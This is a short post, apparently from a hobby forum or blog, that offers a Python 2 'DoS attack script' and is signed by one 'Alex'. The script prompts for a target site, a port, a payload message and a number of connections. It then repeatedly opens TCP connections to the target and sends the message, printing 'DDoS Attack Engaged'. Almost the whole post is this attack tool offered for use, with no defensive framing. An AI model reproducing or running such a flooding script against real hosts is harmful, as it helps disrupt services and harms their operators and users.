Basic Dos attack script in Python

import time import socket import os import sys import string #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# def restart_program(): python = sys.executable os.execl(python, python, * sys.argv) curdir = os.getcwd() #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# print ("DDoS mode loaded") host=raw_input( "Site you want to DDoS:" ) port=input( "Port you want to attack:" ) message=raw_input( "Input the message you want to send:" ) conn=input( "How many connections you want to make:" ) ip = socket.gethostbyname( host ) print ("[" + ip + "]") print ( "[Ip is locked]" ) print ( "[Attacking " + host + "]" ) print ("+----------------------------+") def dos(): #pid = os.fork() ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: ddos.connect((host, 80)) ddos.send( message ) ddos.sendto( message, (ip, port) ) ddos.send( message ); except socket.error, msg: print("|[Connection Failed] |") print ( "|[DDoS Attack Engaged] |") ddos.close() for i in range(1, conn): dos() print ("+----------------------------+") print("The connections you requested had finished") if __name__ == "__main__": answer = raw_input("Do you want to ddos more?") if answer.strip() in "y Y yes Yes YES".split(): restart_program() else: os.system(curdir+"") #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
Hope this was helpful ~Alex


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